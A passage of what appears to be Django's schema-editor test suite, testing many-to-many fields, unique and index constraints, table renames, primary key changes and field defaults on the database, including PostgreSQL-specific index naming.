        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)
        columns = self.column_classes(Note)
        self.assertEqual(columns['detail_info'][0], "TextField")
        self.assertNotIn("info", columns)
        with self.assertRaises(IntegrityError):
            NoteRename.objects.create(detail_info=None)

    def _test_m2m_create(self, M2MFieldClass):
        """
        Tests M2M fields on models during creation
        """
        class LocalBookWithM2M(Model):
            author = ForeignKey(Author, CASCADE)
            title = CharField(max_length=100, db_index=True)
            pub_date = DateTimeField()
            tags = M2MFieldClass("TagM2MTest", related_name="books")

            class Meta:
                app_label = 'schema'
                apps = new_apps
        self.local_models = [LocalBookWithM2M]
        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(TagM2MTest)
            editor.create_model(LocalBookWithM2M)
        # Ensure there is now an m2m table there
        columns = self.column_classes(LocalBookWithM2M._meta.get_field("tags").remote_field.through)
        self.assertEqual(columns['tagm2mtest_id'][0], "IntegerField")

    def test_m2m_create(self):
        self._test_m2m_create(ManyToManyField)

    def test_m2m_create_custom(self):
        self._test_m2m_create(CustomManyToManyField)

    def test_m2m_create_inherited(self):
        self._test_m2m_create(InheritedManyToManyField)

    def _test_m2m_create_through(self, M2MFieldClass):
        """
        Tests M2M fields on models during creation with through models
        """
        class LocalTagThrough(Model):
            book = ForeignKey("schema.LocalBookWithM2MThrough", CASCADE)
            tag = ForeignKey("schema.TagM2MTest", CASCADE)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        class LocalBookWithM2MThrough(Model):
            tags = M2MFieldClass("TagM2MTest", related_name="books", through=LocalTagThrough)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        self.local_models = [LocalTagThrough, LocalBookWithM2MThrough]

        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(LocalTagThrough)
            editor.create_model(TagM2MTest)
            editor.create_model(LocalBookWithM2MThrough)
        # Ensure there is now an m2m table there
        columns = self.column_classes(LocalTagThrough)
        self.assertEqual(columns['book_id'][0], "IntegerField")
        self.assertEqual(columns['tag_id'][0], "IntegerField")

    def test_m2m_create_through(self):
        self._test_m2m_create_through(ManyToManyField)

    def test_m2m_create_through_custom(self):
        self._test_m2m_create_through(CustomManyToManyField)

    def test_m2m_create_through_inherited(self):
        self._test_m2m_create_through(InheritedManyToManyField)

    def _test_m2m(self, M2MFieldClass):
        """
        Tests adding/removing M2M fields on models
        """
        class LocalAuthorWithM2M(Model):
            name = CharField(max_length=255)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        self.local_models = [LocalAuthorWithM2M]

        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(LocalAuthorWithM2M)
            editor.create_model(TagM2MTest)
        # Create an M2M field
        new_field = M2MFieldClass("schema.TagM2MTest", related_name="authors")
        new_field.contribute_to_class(LocalAuthorWithM2M, "tags")
        # Ensure there's no m2m table there
        with self.assertRaises(DatabaseError):
            self.column_classes(new_field.remote_field.through)
        # Add the field
        with connection.schema_editor() as editor:
            editor.add_field(LocalAuthorWithM2M, new_field)
        # Ensure there is now an m2m table there
        columns = self.column_classes(new_field.remote_field.through)
        self.assertEqual(columns['tagm2mtest_id'][0], "IntegerField")

        # "Alter" the field. This should not rename the DB table to itself.
        with connection.schema_editor() as editor:
            editor.alter_field(LocalAuthorWithM2M, new_field, new_field, strict=True)

        # Remove the M2M table again
        with connection.schema_editor() as editor:
            editor.remove_field(LocalAuthorWithM2M, new_field)
        # Ensure there's no m2m table there
        with self.assertRaises(DatabaseError):
            self.column_classes(new_field.remote_field.through)

        # Make sure the model state is coherent with the table one now that
        # we've removed the tags field.
        opts = LocalAuthorWithM2M._meta
        opts.local_many_to_many.remove(new_field)
        del new_apps.all_models['schema'][new_field.remote_field.through._meta.model_name]
        opts._expire_cache()

    def test_m2m(self):
        self._test_m2m(ManyToManyField)

    def test_m2m_custom(self):
        self._test_m2m(CustomManyToManyField)

    def test_m2m_inherited(self):
        self._test_m2m(InheritedManyToManyField)

    def _test_m2m_through_alter(self, M2MFieldClass):
        """
        Tests altering M2Ms with explicit through models (should no-op)
        """
        class LocalAuthorTag(Model):
            author = ForeignKey("schema.LocalAuthorWithM2MThrough", CASCADE)
            tag = ForeignKey("schema.TagM2MTest", CASCADE)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        class LocalAuthorWithM2MThrough(Model):
            name = CharField(max_length=255)
            tags = M2MFieldClass("schema.TagM2MTest", related_name="authors", through=LocalAuthorTag)

            class Meta:
                app_label = 'schema'
                apps = new_apps

        self.local_models = [LocalAuthorTag, LocalAuthorWithM2MThrough]

        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(LocalAuthorTag)
            editor.create_model(LocalAuthorWithM2MThrough)
            editor.create_model(TagM2MTest)
        # Ensure the m2m table is there
        self.assertEqual(len(self.column_classes(LocalAuthorTag)), 3)
        # "Alter" the field's blankness. This should not actually do anything.
        old_field = LocalAuthorWithM2MThrough._meta.get_field("tags")
        new_field = M2MFieldClass("schema.TagM2MTest", related_name="authors", through=LocalAuthorTag)
        new_field.contribute_to_class(LocalAuthorWithM2MThrough, "tags")
        with connection.schema_editor() as editor:
            editor.alter_field(LocalAuthorWithM2MThrough, old_field, new_field, strict=True)
        # Ensure the m2m table is still there
        self.assertEqual(len(self.column_classes(LocalAuthorTag)), 3)

    def test_m2m_through_alter(self):
        self._test_m2m_through_alter(ManyToManyField)

    def test_m2m_through_alter_custom(self):
        self._test_m2m_through_alter(CustomManyToManyField)

    def test_m2m_through_alter_inherited(self):
        self._test_m2m_through_alter(InheritedManyToManyField)

    def _test_m2m_repoint(self, M2MFieldClass):
        """
        Tests repointing M2M fields
        """
        class LocalBookWithM2M(Model):
            author = ForeignKey(Author, CASCADE)
            title = CharField(max_length=100, db_index=True)
            pub_date = DateTimeField()
            tags = M2MFieldClass("TagM2MTest", related_name="books")

            class Meta:
                app_label = 'schema'
                apps = new_apps
        self.local_models = [LocalBookWithM2M]
        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(LocalBookWithM2M)
            editor.create_model(TagM2MTest)
            editor.create_model(UniqueTest)
        # Ensure the M2M exists and points to TagM2MTest
        constraints = self.get_constraints(
            LocalBookWithM2M._meta.get_field("tags").remote_field.through._meta.db_table
        )
        if connection.features.supports_foreign_keys:
            for name, details in constraints.items():
                if details['columns'] == ["tagm2mtest_id"] and details['foreign_key']:
                    self.assertEqual(details['foreign_key'], ('schema_tagm2mtest', 'id'))
                    break
            else:
                self.fail("No FK constraint for tagm2mtest_id found")
        # Repoint the M2M
        old_field = LocalBookWithM2M._meta.get_field("tags")
        new_field = M2MFieldClass(UniqueTest)
        new_field.contribute_to_class(LocalBookWithM2M, "uniques")
        with connection.schema_editor() as editor:
            editor.alter_field(LocalBookWithM2M, old_field, new_field, strict=True)
        # Ensure old M2M is gone
        with self.assertRaises(DatabaseError):
            self.column_classes(LocalBookWithM2M._meta.get_field("tags").remote_field.through)

        # This model looks like the new model and is used for teardown.
        opts = LocalBookWithM2M._meta
        opts.local_many_to_many.remove(old_field)
        # Ensure the new M2M exists and points to UniqueTest
        constraints = self.get_constraints(new_field.remote_field.through._meta.db_table)
        if connection.features.supports_foreign_keys:
            for name, details in constraints.items():
                if details['columns'] == ["uniquetest_id"] and details['foreign_key']:
                    self.assertEqual(details['foreign_key'], ('schema_uniquetest', 'id'))
                    break
            else:
                self.fail("No FK constraint for uniquetest_id found")

    def test_m2m_repoint(self):
        self._test_m2m_repoint(ManyToManyField)

    def test_m2m_repoint_custom(self):
        self._test_m2m_repoint(CustomManyToManyField)

    def test_m2m_repoint_inherited(self):
        self._test_m2m_repoint(InheritedManyToManyField)

    @skipUnlessDBFeature('supports_column_check_constraints')
    def test_check_constraints(self):
        """
        Tests creating/deleting CHECK constraints
        """
        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure the constraint exists
        constraints = self.get_constraints(Author._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["height"] and details['check']:
                break
        else:
            self.fail("No check constraint for height found")
        # Alter the column to remove it
        old_field = Author._meta.get_field("height")
        new_field = IntegerField(null=True, blank=True)
        new_field.set_attributes_from_name("height")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        constraints = self.get_constraints(Author._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["height"] and details['check']:
                self.fail("Check constraint for height found")
        # Alter the column to re-add it
        new_field2 = Author._meta.get_field("height")
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field, new_field2, strict=True)
        constraints = self.get_constraints(Author._meta.db_table)
        for name, details in constraints.items():
            if details['columns'] == ["height"] and details['check']:
                break
        else:
            self.fail("No check constraint for height found")

    def test_unique(self):
        """
        Tests removing and adding unique constraints to a single column.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Tag)
        # Ensure the field is unique to begin with
        Tag.objects.create(title="foo", slug="foo")
        with self.assertRaises(IntegrityError):
            Tag.objects.create(title="bar", slug="foo")
        Tag.objects.all().delete()
        # Alter the slug field to be non-unique
        old_field = Tag._meta.get_field("slug")
        new_field = SlugField(unique=False)
        new_field.set_attributes_from_name("slug")
        with connection.schema_editor() as editor:
            editor.alter_field(Tag, old_field, new_field, strict=True)
        # Ensure the field is no longer unique
        Tag.objects.create(title="foo", slug="foo")
        Tag.objects.create(title="bar", slug="foo")
        Tag.objects.all().delete()
        # Alter the slug field to be unique
        new_field2 = SlugField(unique=True)
        new_field2.set_attributes_from_name("slug")
        with connection.schema_editor() as editor:
            editor.alter_field(Tag, new_field, new_field2, strict=True)
        # Ensure the field is unique again
        Tag.objects.create(title="foo", slug="foo")
        with self.assertRaises(IntegrityError):
            Tag.objects.create(title="bar", slug="foo")
        Tag.objects.all().delete()
        # Rename the field
        new_field3 = SlugField(unique=True)
        new_field3.set_attributes_from_name("slug2")
        with connection.schema_editor() as editor:
            editor.alter_field(Tag, new_field2, new_field3, strict=True)
        # Ensure the field is still unique
        TagUniqueRename.objects.create(title="foo", slug2="foo")
        with self.assertRaises(IntegrityError):
            TagUniqueRename.objects.create(title="bar", slug2="foo")
        Tag.objects.all().delete()

    def test_unique_together(self):
        """
        Tests removing and adding unique_together constraints on a model.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(UniqueTest)
        # Ensure the fields are unique to begin with
        UniqueTest.objects.create(year=2012, slug="foo")
        UniqueTest.objects.create(year=2011, slug="foo")
        UniqueTest.objects.create(year=2011, slug="bar")
        with self.assertRaises(IntegrityError):
            UniqueTest.objects.create(year=2012, slug="foo")
        UniqueTest.objects.all().delete()
        # Alter the model to its non-unique-together companion
        with connection.schema_editor() as editor:
            editor.alter_unique_together(UniqueTest, UniqueTest._meta.unique_together, [])
        # Ensure the fields are no longer unique
        UniqueTest.objects.create(year=2012, slug="foo")
        UniqueTest.objects.create(year=2012, slug="foo")
        UniqueTest.objects.all().delete()
        # Alter it back
        new_field2 = SlugField(unique=True)
        new_field2.set_attributes_from_name("slug")
        with connection.schema_editor() as editor:
            editor.alter_unique_together(UniqueTest, [], UniqueTest._meta.unique_together)
        # Ensure the fields are unique again
        UniqueTest.objects.create(year=2012, slug="foo")
        with self.assertRaises(IntegrityError):
            UniqueTest.objects.create(year=2012, slug="foo")
        UniqueTest.objects.all().delete()

    def test_unique_together_with_fk(self):
        """
        Tests removing and adding unique_together constraints that include
        a foreign key.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        # Ensure the fields are unique to begin with
        self.assertEqual(Book._meta.unique_together, ())
        # Add the unique_together constraint
        with connection.schema_editor() as editor:
            editor.alter_unique_together(Book, [], [['author', 'title']])
        # Alter it back
        with connection.schema_editor() as editor:
            editor.alter_unique_together(Book, [['author', 'title']], [])

    def test_unique_together_with_fk_with_existing_index(self):
        """
        Tests removing and adding unique_together constraints that include
        a foreign key, where the foreign key is added after the model is
        created.
        """
        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(BookWithoutAuthor)
            new_field = ForeignKey(Author, CASCADE)
            new_field.set_attributes_from_name('author')
            editor.add_field(BookWithoutAuthor, new_field)
        # Ensure the fields aren't unique to begin with
        self.assertEqual(Book._meta.unique_together, ())
        # Add the unique_together constraint
        with connection.schema_editor() as editor:
            editor.alter_unique_together(Book, [], [['author', 'title']])
        # Alter it back
        with connection.schema_editor() as editor:
            editor.alter_unique_together(Book, [['author', 'title']], [])

    def test_index_together(self):
        """
        Tests removing and adding index_together constraints on a model.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Tag)
        # Ensure there's no index on the year/slug columns first
        self.assertEqual(
            False,
            any(
                c["index"]
                for c in self.get_constraints("schema_tag").values()
                if c['columns'] == ["slug", "title"]
            ),
        )
        # Alter the model to add an index
        with connection.schema_editor() as editor:
            editor.alter_index_together(Tag, [], [("slug", "title")])
        # Ensure there is now an index
        self.assertEqual(
            True,
            any(
                c["index"]
                for c in self.get_constraints("schema_tag").values()
                if c['columns'] == ["slug", "title"]
            ),
        )
        # Alter it back
        new_field2 = SlugField(unique=True)
        new_field2.set_attributes_from_name("slug")
        with connection.schema_editor() as editor:
            editor.alter_index_together(Tag, [("slug", "title")], [])
        # Ensure there's no index
        self.assertEqual(
            False,
            any(
                c["index"]
                for c in self.get_constraints("schema_tag").values()
                if c['columns'] == ["slug", "title"]
            ),
        )

    def test_index_together_with_fk(self):
        """
        Tests removing and adding index_together constraints that include
        a foreign key.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        # Ensure the fields are unique to begin with
        self.assertEqual(Book._meta.index_together, ())
        # Add the unique_together constraint
        with connection.schema_editor() as editor:
            editor.alter_index_together(Book, [], [['author', 'title']])
        # Alter it back
        with connection.schema_editor() as editor:
            editor.alter_index_together(Book, [['author', 'title']], [])

    def test_create_index_together(self):
        """
        Tests creating models with index_together already defined
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(TagIndexed)
        # Ensure there is an index
        self.assertEqual(
            True,
            any(
                c["index"]
                for c in self.get_constraints("schema_tagindexed").values()
                if c['columns'] == ["slug", "title"]
            ),
        )

    def test_db_table(self):
        """
        Tests renaming of the table
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure the table is there to begin with
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "CharField")
        # Alter the table
        with connection.schema_editor() as editor:
            editor.alter_db_table(Author, "schema_author", "schema_otherauthor")
        # Ensure the table is there afterwards
        Author._meta.db_table = "schema_otherauthor"
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "CharField")
        # Alter the table again
        with connection.schema_editor() as editor:
            editor.alter_db_table(Author, "schema_otherauthor", "schema_author")
        # Ensure the table is still there
        Author._meta.db_table = "schema_author"
        columns = self.column_classes(Author)
        self.assertEqual(columns['name'][0], "CharField")

    def test_add_remove_index(self):
        """
        Tests index addition and removal
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure the table is there and has no index
        self.assertNotIn('title', self.get_indexes(Author._meta.db_table))
        # Add the index
        index = Index(fields=['name'], name='author_title_idx')
        with connection.schema_editor() as editor:
            editor.add_index(Author, index)
        self.assertIn('name', self.get_indexes(Author._meta.db_table))
        # Drop the index
        with connection.schema_editor() as editor:
            editor.remove_index(Author, index)
        self.assertNotIn('name', self.get_indexes(Author._meta.db_table))

    def test_order_index(self):
        """
        Indexes defined with ordering (ASC/DESC) defined on column
        """
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # The table doesn't have an index
        self.assertNotIn('title', self.get_indexes(Author._meta.db_table))
        index_name = 'author_name_idx'
        # Add the index
        index = Index(fields=['name', '-weight'], name=index_name)
        with connection.schema_editor() as editor:
            editor.add_index(Author, index)
        if connection.features.supports_index_column_ordering:
            if connection.features.uppercases_column_names:
                index_name = index_name.upper()
            self.assertIndexOrder(Author._meta.db_table, index_name, ['ASC', 'DESC'])

    def test_indexes(self):
        """
        Tests creation/altering of indexes
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.create_model(Book)
        # Ensure the table is there and has the right index
        self.assertIn(
            "title",
            self.get_indexes(Book._meta.db_table),
        )
        # Alter to remove the index
        old_field = Book._meta.get_field("title")
        new_field = CharField(max_length=100, db_index=False)
        new_field.set_attributes_from_name("title")
        with connection.schema_editor() as editor:
            editor.alter_field(Book, old_field, new_field, strict=True)
        # Ensure the table is there and has no index
        self.assertNotIn(
            "title",
            self.get_indexes(Book._meta.db_table),
        )
        # Alter to re-add the index
        new_field2 = Book._meta.get_field("title")
        with connection.schema_editor() as editor:
            editor.alter_field(Book, new_field, new_field2, strict=True)
        # Ensure the table is there and has the index again
        self.assertIn(
            "title",
            self.get_indexes(Book._meta.db_table),
        )
        # Add a unique column, verify that creates an implicit index
        new_field3 = BookWithSlug._meta.get_field("slug")
        with connection.schema_editor() as editor:
            editor.add_field(Book, new_field3)
        self.assertIn(
            "slug",
            self.get_indexes(Book._meta.db_table),
        )
        # Remove the unique, check the index goes with it
        new_field4 = CharField(max_length=20, unique=False)
        new_field4.set_attributes_from_name("slug")
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithSlug, new_field3, new_field4, strict=True)
        self.assertNotIn(
            "slug",
            self.get_indexes(Book._meta.db_table),
        )

    def test_primary_key(self):
        """
        Tests altering of the primary key
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Tag)
        # Ensure the table is there and has the right PK
        self.assertTrue(
            self.get_indexes(Tag._meta.db_table)['id']['primary_key'],
        )
        # Alter to change the PK
        id_field = Tag._meta.get_field("id")
        old_field = Tag._meta.get_field("slug")
        new_field = SlugField(primary_key=True)
        new_field.set_attributes_from_name("slug")
        new_field.model = Tag
        with connection.schema_editor() as editor:
            editor.remove_field(Tag, id_field)
            editor.alter_field(Tag, old_field, new_field)
        # Ensure the PK changed
        self.assertNotIn(
            'id',
            self.get_indexes(Tag._meta.db_table),
        )
        self.assertTrue(
            self.get_indexes(Tag._meta.db_table)['slug']['primary_key'],
        )

    def test_context_manager_exit(self):
        """
        Ensures transaction is correctly closed when an error occurs
        inside a SchemaEditor context.
        """
        class SomeError(Exception):
            pass
        try:
            with connection.schema_editor():
                raise SomeError
        except SomeError:
            self.assertFalse(connection.in_atomic_block)

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_foreign_key_index_long_names_regression(self):
        """
        Regression test for #21497.
        Only affects databases that supports foreign keys.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(AuthorWithEvenLongerName)
            editor.create_model(BookWithLongName)
        # Find the properly shortened column name
        column_name = connection.ops.quote_name("author_foreign_key_with_really_long_field_name_id")
        column_name = column_name[1:-1].lower()  # unquote, and, for Oracle, un-upcase
        # Ensure the table is there and has an index on the column
        self.assertIn(
            column_name,
            self.get_indexes(BookWithLongName._meta.db_table),
        )

    @skipUnlessDBFeature('supports_foreign_keys')
    def test_add_foreign_key_long_names(self):
        """
        Regression test for #23009.
        Only affects databases that supports foreign keys.
        """
        # Create the initial tables
        with connection.schema_editor() as editor:
            editor.create_model(AuthorWithEvenLongerName)
            editor.create_model(BookWithLongName)
        # Add a second FK, this would fail due to long ref name before the fix
        new_field = ForeignKey(AuthorWithEvenLongerName, CASCADE, related_name="something")
        new_field.set_attributes_from_name("author_other_really_long_named_i_mean_so_long_fk")
        with connection.schema_editor() as editor:
            editor.add_field(BookWithLongName, new_field)

    def test_add_foreign_object(self):
        with connection.schema_editor() as editor:
            editor.create_model(BookForeignObj)

        new_field = ForeignObject(Author, on_delete=CASCADE, from_fields=['author_id'], to_fields=['id'])
        new_field.set_attributes_from_name('author')
        with connection.schema_editor() as editor:
            editor.add_field(BookForeignObj, new_field)

    def test_creation_deletion_reserved_names(self):
        """
        Tries creating a model's table, and then deleting it when it has a
        SQL reserved name.
        """
        # Create the table
        with connection.schema_editor() as editor:
            try:
                editor.create_model(Thing)
            except OperationalError as e:
                self.fail("Errors when applying initial migration for a model "
                          "with a table named after an SQL reserved word: %s" % e)
        # Check that it's there
        list(Thing.objects.all())
        # Clean up that table
        with connection.schema_editor() as editor:
            editor.delete_model(Thing)
        # Check that it's gone
        with self.assertRaises(DatabaseError):
            list(Thing.objects.all())

    def test_remove_constraints_capital_letters(self):
        """
        #23065 - Constraint names must be quoted if they contain capital letters.
        """
        def get_field(*args, **kwargs):
            kwargs['db_column'] = "CamelCase"
            field = kwargs.pop('field_class', IntegerField)(*args, **kwargs)
            field.set_attributes_from_name("CamelCase")
            return field

        model = Author
        field = get_field()
        table = model._meta.db_table
        column = field.column

        with connection.schema_editor() as editor:
            editor.create_model(model)
            editor.add_field(model, field)

            constraint_name = "CamelCaseIndex"
            editor.execute(
                editor.sql_create_index % {
                    "table": editor.quote_name(table),
                    "name": editor.quote_name(constraint_name),
                    "using": "",
                    "columns": editor.quote_name(column),
                    "extra": "",
                }
            )
            if connection.features.uppercases_column_names:
                constraint_name = constraint_name.upper()
            self.assertIn(constraint_name, self.get_constraints(model._meta.db_table))
            editor.alter_field(model, get_field(db_index=True), field, strict=True)
            self.assertNotIn(constraint_name, self.get_constraints(model._meta.db_table))

            constraint_name = "CamelCaseUniqConstraint"
            editor.execute(
                editor.sql_create_unique % {
                    "table": editor.quote_name(table),
                    "name": editor.quote_name(constraint_name),
                    "columns": editor.quote_name(field.column),
                }
            )
            if connection.features.uppercases_column_names:
                constraint_name = constraint_name.upper()
            self.assertIn(constraint_name, self.get_constraints(model._meta.db_table))
            editor.alter_field(model, get_field(unique=True), field, strict=True)
            self.assertNotIn(constraint_name, self.get_constraints(model._meta.db_table))

            if connection.features.supports_foreign_keys:
                constraint_name = "CamelCaseFKConstraint"
                editor.execute(
                    editor.sql_create_fk % {
                        "table": editor.quote_name(table),
                        "name": editor.quote_name(constraint_name),
                        "column": editor.quote_name(column),
                        "to_table": editor.quote_name(table),
                        "to_column": editor.quote_name(model._meta.auto_field.column),
                        "deferrable": connection.ops.deferrable_sql(),
                    }
                )
                if connection.features.uppercases_column_names:
                    constraint_name = constraint_name.upper()
                self.assertIn(constraint_name, self.get_constraints(model._meta.db_table))
                editor.alter_field(model, get_field(Author, CASCADE, field_class=ForeignKey), field, strict=True)
                self.assertNotIn(constraint_name, self.get_constraints(model._meta.db_table))

    def test_add_field_use_effective_default(self):
        """
        #23987 - effective_default() should be used as the field default when
        adding a new field.
        """
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure there's no surname field
        columns = self.column_classes(Author)
        self.assertNotIn("surname", columns)
        # Create a row
        Author.objects.create(name='Anonymous1')
        # Add new CharField to ensure default will be used from effective_default
        new_field = CharField(max_length=15, blank=True)
        new_field.set_attributes_from_name("surname")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure field was added with the right default
        with connection.cursor() as cursor:
            cursor.execute("SELECT surname FROM schema_author;")
            item = cursor.fetchall()[0]
            self.assertEqual(item[0], None if connection.features.interprets_empty_strings_as_nulls else '')

    def test_add_field_default_dropped(self):
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Ensure there's no surname field
        columns = self.column_classes(Author)
        self.assertNotIn("surname", columns)
        # Create a row
        Author.objects.create(name='Anonymous1')
        # Add new CharField with a default
        new_field = CharField(max_length=15, blank=True, default='surname default')
        new_field.set_attributes_from_name("surname")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)
        # Ensure field was added with the right default
        with connection.cursor() as cursor:
            cursor.execute("SELECT surname FROM schema_author;")
            item = cursor.fetchall()[0]
            self.assertEqual(item[0], 'surname default')
            # And that the default is no longer set in the database.
            field = next(
                f for f in connection.introspection.get_table_description(cursor, "schema_author")
                if f.name == "surname"
            )
            if connection.features.can_introspect_default:
                self.assertIsNone(field.default)

    def test_alter_field_default_dropped(self):
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Create a row
        Author.objects.create(name='Anonymous1')
        self.assertIsNone(Author.objects.get().height)
        old_field = Author._meta.get_field('height')
        # The default from the new field is used in updating existing rows.
        new_field = IntegerField(blank=True, default=42)
        new_field.set_attributes_from_name('height')
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        self.assertEqual(Author.objects.get().height, 42)
        # The database default should be removed.
        with connection.cursor() as cursor:
            field = next(
                f for f in connection.introspection.get_table_description(cursor, "schema_author")
                if f.name == "height"
            )
            if connection.features.can_introspect_default:
                self.assertIsNone(field.default)

    def test_add_textfield_unhashable_default(self):
        # Create the table
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        # Create a row
        Author.objects.create(name='Anonymous1')
        # Create a field that has an unhashable default
        new_field = TextField(default={})
        new_field.set_attributes_from_name("info")
        with connection.schema_editor() as editor:
            editor.add_field(Author, new_field)

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_add_indexed_charfield(self):
        field = CharField(max_length=255, db_index=True)
        field.set_attributes_from_name('nom_de_plume')
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.add_field(Author, field)
        # Should create two indexes; one for like operator.
        self.assertEqual(
            self.get_constraints_for_column(Author, 'nom_de_plume'),
            ['schema_author_nom_de_plume_7570a851', 'schema_author_nom_de_plume_7570a851_like'],
        )

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_add_unique_charfield(self):
        field = CharField(max_length=255, unique=True)
        field.set_attributes_from_name('nom_de_plume')
        with connection.schema_editor() as editor:
            editor.create_model(Author)
            editor.add_field(Author, field)
        # Should create two indexes; one for like operator.
        self.assertEqual(
            self.get_constraints_for_column(Author, 'nom_de_plume'),
            ['schema_author_nom_de_plume_7570a851_like', 'schema_author_nom_de_plume_key']
        )

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_add_index_to_charfield(self):
        # Create the table and verify no initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        self.assertEqual(self.get_constraints_for_column(Author, 'name'), [])
        # Alter to add db_index=True and create 2 indexes.
        old_field = Author._meta.get_field('name')
        new_field = CharField(max_length=255, db_index=True)
        new_field.set_attributes_from_name('name')
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(Author, 'name'),
            ['schema_author_name_1fbc5617', 'schema_author_name_1fbc5617_like']
        )
        # Remove db_index=True to drop both indexes.
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field, old_field, strict=True)
        self.assertEqual(self.get_constraints_for_column(Author, 'name'), [])

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_add_unique_to_charfield(self):
        # Create the table and verify no initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(Author)
        self.assertEqual(self.get_constraints_for_column(Author, 'name'), [])
        # Alter to add unique=True and create 2 indexes.
        old_field = Author._meta.get_field('name')
        new_field = CharField(max_length=255, unique=True)
        new_field.set_attributes_from_name('name')
        with connection.schema_editor() as editor:
            editor.alter_field(Author, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(Author, 'name'),
            ['schema_author_name_1fbc5617_like', 'schema_author_name_1fbc5617_uniq']
        )
        # Remove unique=True to drop both indexes.
        with connection.schema_editor() as editor:
            editor.alter_field(Author, new_field, old_field, strict=True)
        self.assertEqual(self.get_constraints_for_column(Author, 'name'), [])

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_add_index_to_textfield(self):
        # Create the table and verify no initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(Note)
        self.assertEqual(self.get_constraints_for_column(Note, 'info'), [])
        # Alter to add db_index=True and create 2 indexes.
        old_field = Note._meta.get_field('info')
        new_field = TextField(db_index=True)
        new_field.set_attributes_from_name('info')
        with connection.schema_editor() as editor:
            editor.alter_field(Note, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(Note, 'info'),
            ['schema_note_info_4b0ea695', 'schema_note_info_4b0ea695_like']
        )
        # Remove db_index=True to drop both indexes.
        with connection.schema_editor() as editor:
            editor.alter_field(Note, new_field, old_field, strict=True)
        self.assertEqual(self.get_constraints_for_column(Note, 'info'), [])

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_add_unique_to_charfield_with_db_index(self):
        # Create the table and verify initial indexes.
        with connection.schema_editor() as editor:
            editor.create_model(BookWithoutAuthor)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff', 'schema_book_title_2dfb2dff_like']
        )
        # Alter to add unique=True (should replace the index)
        old_field = BookWithoutAuthor._meta.get_field('title')
        new_field = CharField(max_length=100, db_index=True, unique=True)
        new_field.set_attributes_from_name('title')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithoutAuthor, old_field, new_field, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff_like', 'schema_book_title_2dfb2dff_uniq']
        )
        # Alter to remove unique=True (should drop unique index)
        new_field2 = CharField(max_length=100, db_index=True)
        new_field2.set_attributes_from_name('title')
        with connection.schema_editor() as editor:
            editor.alter_field(BookWithoutAuthor, new_field, new_field2, strict=True)
        self.assertEqual(
            self.get_constraints_for_column(BookWithoutAuthor, 'title'),
            ['schema_book_title_2dfb2dff', 'schema_book_title_2dfb2dff_like']
        )

    @unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific")
    def test_alter_field_remove_unique_and_db_index_from_charfield(self):
